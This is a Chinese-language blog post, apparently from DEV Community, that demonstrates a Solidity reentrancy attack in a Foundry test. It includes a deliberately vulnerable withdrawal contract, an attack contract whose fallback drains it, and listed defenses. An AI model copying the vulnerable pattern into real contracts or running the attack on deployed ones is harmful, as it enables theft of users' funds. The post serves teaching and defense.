DEV Community

晓道
晓道

Posted on

重入攻击代码实现

昨天写一篇,蜜罐的分析,我发现感兴趣的朋友还挺多,我也就多了解了一下这方面的知识,我发现重入攻击大家都是翻译的一个老外的文章,连代码都是提供的图片,我觉得有必要自己写代码来一遍。
重入就是利用solidity虚拟机的机制来进行攻击。

什么是重入攻击?

假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。

fallback 函数的场景

1、调用函数找不到时

当调用的函数找不到时,就会调用默认的fallback函数。

2、send()函数发送ether

当我们使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。

我们这个例子就是用fallback 函数来连续调用,最终把合约里面的钱都转出来。

被攻击合约如下:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");
        balances[msg.sender] -= _weiToWithdraw;
    }
}
Enter fullscreen mode Exit fullscreen mode

攻击环境构建

用我前几天发的Foundry来做这次演示,前面的入门在这里
使用Foundry,感受快,rust对写合约的支持 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
构建一个测试用例:
写在src/test目录下
EtherStore.t.sol
1,部署合约

function setUp() public { //test类的 setup
        store = new EtherStore();
        attach = new EtherStoreAttach(address(store));
        cheats.deal(address(store), 5 ether);  //给合约5个eth
        cheats.deal(address(attach), 2 ether);  //给攻击者 2个eth
    }
Enter fullscreen mode Exit fullscreen mode

cheats是Foundry内置的一个mock实例,可以干什么呢,比如上面就是给合约转钱。
我这里转了5个eth
参考里面有cheats的文档链接

2,构建攻击合约,也就是fallback函数

contract EtherStoreAttach is DSTest { //攻击合约
    EtherStore store;

    fallback() external payable {
        emit log_named_uint("fallback", address(store).balance);
        if (address(store).balance > 1 ether) {
            store.withdrawFunds(1 ether);
        }
    }

    constructor(address _store) public {
        store = EtherStore(_store);
    }

    function Attach() public {   //发起攻击函数
        store.deposit{value: 1 ether}();  //保证withdrawFunds初步检查不出问题
        emit log_named_uint("testAttach", address(store).balance);
        store.withdrawFunds(1 ether);
        emit log_named_uint("endAttach", address(store).balance);
    }
}
Enter fullscreen mode Exit fullscreen mode

3、测试合约

function testAttach() public {
        emit log_named_uint("test start store", address(store).balance);
        try attach.Attach() {
            emit log_named_uint("test ok store", address(store).balance);
        } catch {
            emit log_string("catch");
        }
        emit log_named_uint("test end store", address(store).balance);
    }
Enter fullscreen mode Exit fullscreen mode

16438879961.png
16438880341.png

攻击开始,合约里有6个eth,最后剩下一个。

如何防范

网上别人都讲过多次了
1,交换的顺序,这个看起来最简单

balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
Enter fullscreen mode Exit fullscreen mode

2,给合约带锁
加合约成员,_lock变量,
加 modifier 守卫,给withdrawFunds函数加行的modifier 守卫
操作函数时加lock,其他再进入进不去就避免了重入

3,此代码仅在0.8版本一下的solidity能运行,所以问题没有了,看这里
Exploring the new Solidity 0.8 Release (soliditydeveloper.com)
我这个代码要运行,需要这样
pragma solidity ^0.7.0;

参考

重入| 破解 Solidity | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
Solidity Fallback函数详解 - 简书 (jianshu.com)
Reentrancy | Hack Solidity #1. The motivation behind this article is… | by Zuhaib Mohammed | Jan, 2022 | CoinsBench
Cheatcodes Reference - The Foundry Book (onbjerg.github.io)

Top comments (0)